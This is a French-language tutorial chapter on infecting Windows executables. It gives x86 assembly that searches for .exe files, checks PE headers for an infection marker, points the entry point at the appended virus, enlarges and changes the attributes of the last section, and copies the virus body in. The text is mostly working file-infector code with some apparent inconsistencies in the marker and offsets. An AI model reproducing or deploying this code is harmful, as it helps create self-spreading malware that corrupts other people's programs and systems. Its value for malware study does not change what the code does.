CHAPITRE 7 – INFECTION

Pour l’infection, il faut d’abord déterminer quels sont les fichiers cibles, et dans quels répertoires les chercher. les virus les plus courants infectent les *exe dans le répertoire courant.

1) Recherche de fichiers cibles

On utilise 2 APIs: la première est FindFirstFile, son rôle est de nous fournir un handle pour le fichier qu’on veut infecter. La seconde est FindNextFile. Elle utilise le handle du fichier précédent et en retour elle pointe sur la WIN32_FIND_DATA. Allez un peu de code:

mov esi, [ebp+offset WIN32_FIND_DATA] ; esi pointe sur la WFD.

mov eax, [ebp+offset EXE_MASK] ; Met dans eax le type de fichier cible (exe).

push esi ; Les paramètres nécessaires à l’API

push eax ; sont mis sur la pile.

call [ebp+AdrFindFirstFile] ; Appel l’API.

inc eax ; En cas d’erreur, l’API renvoie la valeur –1 dans

jz erreur ; eax donc on test si tout c’est bien passé.

dec eax ; annule le inc du dessus (au début le l’avais oublié)

mov [SearchHandle], eax ; Sauvegarde le handle.

. . .

xor ebx, ebx

mov edi, [ebp+offset WIN32_FIND_DATA] ; La structure.

push edi ; Paramètre.

push dword ptr [ebp+SearchHandle] ; 2ème paramètre : le handle.

call [ebp+AdrFindNextFile] ; Appel.

cmp eax, ebx ; En cas d’erreur, l’API renvoie 0 dans eax

jz erreur ; on s’assure que tout s’est bien passé

EXE_MASK db “*.exe”, 0

2) Infection

Voilà, il ne nous reste plus que l’infection proprement dite : on va d’abord vérifier si le fichier est déjà infecté, et ensuite on modifiera certains champs du PE pour finalement écrire le code du virus à la fin de la dernière section. C’est ici que le chapitre sur le PE prend toute son impotance.

Là, on mappe une première fois le fichier (je ne vous remontre pas comment faire) pour les vérifications et récupérer au passage les alignements:

mov eax, [ebp+MapAddress] ; On met l’adresse de l’image du fichier dans eax.

mov esi, [eax+3Ch] ; On met dans esi la RVA vers le PE_header

add esi, eax ; et on normalise

cmp dword ptr [esi], “EP” ; pour vérifier la présensence de la signature.

jnz no_infect ; Je pense que vous avez compris.

cmp dword ptr [esi+4Ch], “lifo” ; lifo c’est la marque qu’on ajoute pendant l’infection.

jz no_infect ; Si la marque est absente alors on continue.

mov ecx, [esi+38h] ; On récupère le section_alignement dans l’optional_header

mov [ebp+SectionAlign], ecx ; et on le sauvegarde.

mov ecx, [esi+3Ch] ; On récupère le file_alignement dans l’optional_header

mov [ebp+FileAlign], ecx ; et on le sauvegarde pour la routine d’alignement.

ensuite on démappe (je ne vous remontre pas non plus), puis on aligne (tout est montré dans la partie précedente). Enfin, on remappe en tenant compte de la taille du virus.

Après cette étape, on va localiser la dernière section afin d’y copier notre virus:

mov eax, [ebp+MapAddress] ; On met l’adresse de l’image du fichier dans eax.

mov esi, [eax+3Ch] ; On met dans esi la RVA vers le PE_header et on normalise

add esi, eax

mov edi, esi ; edi = esi

movzx eax, word ptr [esi+06h] ; Met dans ax le nombre de section.

dec eax ; ax = nombre de sections – 1

imul eax, eax, 28h ; qu’on multiplie par la taille du section_header.

add esi, eax ; On normalise.

add esi, 78h ; esi pointe sur le directory_header: en fait je dois vous révéler que dans la 2ème partie, le directory_header et le section_header sont regroupés sous le nom section_table

mov edx, [esi+74h] ; edx = nombre de directory

shl edx, 3 ; qu’on multiplie par 8 (2*2*2 = 8).

add esi, edx ; esi pointe au début de la dernière section.

Ce passage n’est pas évident, j’en suis conscient, et c’est un peu de ma faute car je ne vous avais pas parlé du directory_header jusque là. En fait dans la deuxième partie sur la structure du PE, vous pouvez remplacer la case section_table par celle-ci:

On continue et on passe à la 3ème étape, les manipulation de l’entrypoint:

mov eax, [edi+28h] ; Met dans eax l’entrypoint du fichier cible.

mov dword ptr [ebp+OldEP], eax ; On le sauvegarde.

mov eax, [edi+34h] ; Met dans eax l’image_base du fichier cible.

mov dword ptr[ebp+ImageBase], eax ; On la sauvagarde.

mov edx, [esi+10h] ; Met dans eax la taille des raw_data

mov eax, edx ; et les stock dans eax.

add edx, [esi+14h] ; On ajoute à edx le pointer_to_raw_data.

add eax, [esi+0Ch] ; On ajoute à eax la VA : eax = NewEP

mov [edi+28h], eax ; On remplace l’ancien entrypoint par le nouveau.

mov dword ptr [ebp+NewEP], eax ; On n’oublie pas de le sauvegarder.

Après ça, on met à jour la taille de la dernière section et on change ses caractéristiques:

mov eax, [esi+10h] ; eax = size_of_raw_data

add eax, virus_size ; On y ajoute la taille du virus.

mov ecx, [edi+3Ch] ; On met le facteur d’alignement dans ecx,

push edx ; on préserve edx sur la pile,

call align ; et on aligne la nouvelle taille de la section.

pop edx ; Sans oublier de restaurer edx.

mov [esi+10h], eax ; Là, c’est la mise à jour de size_of_raw_data et de

mov [esi+08h], eax ; virtual_size : on tient compte du virus et de l’alignement.

mov eax, [esi+10h] ; On met le size_of_raw_data mis à jour dans eax, et on

add eax, [esi+0Ch] ; ajoute la VA de la section: eax vaut la nouvelle image_size.

mov [edi+50h], eax ; on corrige donc le champs de PE commespondant.

or dword ptr [esi+24h], 0A0000020h ; Enfin, on modifie les attributs de la section ; elle est maintenant readable et writable.

Il ne nous reste plus qu’a ajouter notre marque pour indiquer que le fichier est infecté, et on aura terminé:

mov dword ptr [edi+4Ch], “ofil” ; On inscrit la marque à un endroit inutilisé du PE.

lea esi, [ebp+virus_start] ; esi pointe au début du virus.

xchg edi, edx ; Echange de contenus : edi = pointer_to_raw_data.

add edi, dword ptr [ebp+MapAddress] ; On normalise le pointeur.

mov ecx, virus_size ; La taille à copier est dans ecx.

rep movsb ; Boucle jusqu’à ce que le virus soit entièrement copié (ecx est décrémenté à chaque passage).

jmp end ; On quitte tout (CloseHandle, etc…).